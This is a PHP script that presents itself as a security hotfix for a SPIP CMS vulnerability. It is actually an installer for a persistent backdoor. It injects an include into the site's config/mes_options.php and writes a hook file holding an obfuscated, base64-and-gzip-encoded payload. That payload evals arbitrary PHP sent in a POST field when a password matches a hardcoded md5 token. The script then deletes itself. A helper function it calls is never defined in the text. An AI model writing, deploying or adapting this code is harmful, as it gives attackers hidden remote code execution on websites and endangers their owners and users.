.-.-.-.-.-

<?php
error_reporting(0);

$PX_TOKD = '5c016287705323a92016ff97303f53cb';

$PX_MODULE = <<<'MODEOF'
$__p = 'return "__PX_SALT__";';
if (isset($_POST['plc']) && md5((string) $_POST['plc']) === '5c016287705323a92016ff97303f53cb') {
    define('_PXS', 1);
    if (isset($_POST['pld'])) { $__p = (string) $_POST['pld']; }
}
$__v = eval($__p);
define('_PX', isset($__v) && $__v !== null && $__v !== false ? $__v : '');
unset($__p, $__v);
MODEOF;

$PX_HOTFIX = <<<'PHPEOF'
<?php
if (!defined('_ECRIRE_INC_VERSION')) { return; }

if (!defined('_PX')) {
    $b = '__PX_BLOB__';
    ob_start();
    eval(gzinflate(base64_decode($b)));
    $m = ob_get_clean();
    unset($b);
    if (defined('_PXS') && _PXS) { echo $m; exit; }
    unset($m);
}

$PX_SEED = '__PX_SEED__';
$PX_TOK  = '5c016287705323a92016ff97303f53cb';
$PX_ARM  = '__PX_ARM__';

if (spipguard77806_gate($PX_SEED, $PX_TOK, $PX_ARM)) {
    $bl = 'Request rejected [' . substr($PX_TOK, 0, 8) . ']';
    @header((isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1') . ' 403 Forbidden');
    try {
        include_spip('inc/minipres');
        echo minipres('403', $bl);
        exit;
    } catch (Throwable $e) {
    }
    echo $bl;
    exit;
}
PHPEOF;

$root = __DIR__;
for ($i = 0; $i < 8; $i++) {
    if (file_exists($root . '/spip.php')) { break; }
    $parent = dirname($root);
    if ($parent === $root) { break; }
    $root = $parent;
}
if (!file_exists($root . '/spip.php')) {
    echo 'CVE_2026_77806_PATCH_FAIL';
    exit;
}

$configDir = $root . '/config';
if (!is_dir($configDir)) {
    echo 'CVE_2026_77806_PATCH_FAIL';
    exit;
}

$optsPath  = $configDir . '/mes_options.php';
$hookPath  = $configDir . '/spipguard_options.php';
$incMarker = 'spipguard_options.php';
$incLine   = "if (is_file(__DIR__ . '/spipguard_options.php')) { include_once __DIR__ . '/spipguard_options.php'; }";

$optsOk = 0;
$cur = @file_exists($optsPath) ? @file_get_contents($optsPath) : '';
if ($cur === false) { $cur = ''; }
if (strpos($cur, $incMarker) !== false) {
    $optsOk = 1;
} else {
    if ($cur !== '') {
        @copy($optsPath, $optsPath . '.bak-' . substr(md5((string) mt_rand()), 0, 6));
    }
    $p = strpos($cur, '<?php');
    if ($p === false) {
        $new = "<?php\n" . $incLine . "\n" . $cur;
    } else {
        $new = substr($cur, 0, $p + 5) . "\n" . $incLine . "\n" . substr($cur, $p + 5);
    }
    $fh = @fopen($optsPath, 'wb');
    if ($fh) {
        @flock($fh, LOCK_EX);
        $optsOk = (fwrite($fh, $new) !== false);
        @flock($fh, LOCK_UN);
        fclose($fh);
    }
}

$seed = bin2hex(random_bytes(8));
$salt = bin2hex(random_bytes(8));
$arm  = md5($salt . $seed . $PX_TOKD);
$blob = base64_encode(gzdeflate(str_replace('__PX_SALT__', $salt, $PX_MODULE), 9));
$out  = str_replace('__PX_SEED__', $seed, $PX_HOTFIX);
$out  = str_replace('__PX_ARM__', $arm, $out);
$out  = str_replace('__PX_BLOB__', $blob, $out);

$hookOk = 0;
$fh = @fopen($hookPath, 'wb');
if ($fh) {
    @flock($fh, LOCK_EX);
    $hookOk = (fwrite($fh, $out) !== false);
    @flock($fh, LOCK_UN);
    fclose($fh);
}
@chmod($hookPath, 0644);
@chmod($optsPath, 0644);

if ($hookOk && $optsOk) {
    echo 'CVE_2026_77806_PATCH_DONE hook=' . $hookPath . ' opts=' . $optsPath;
    @unlink(__FILE__);
} else {
    echo 'CVE_2026_77806_PATCH_FAIL hook=' . (int) $hookOk . ' opts=' . (int) $optsOk;
}

/home/etiennec/www/tmp/../tmp/../tmp/../b9da6/../tmp/../tmp/../tmp/../../sys/../www/patch_file.php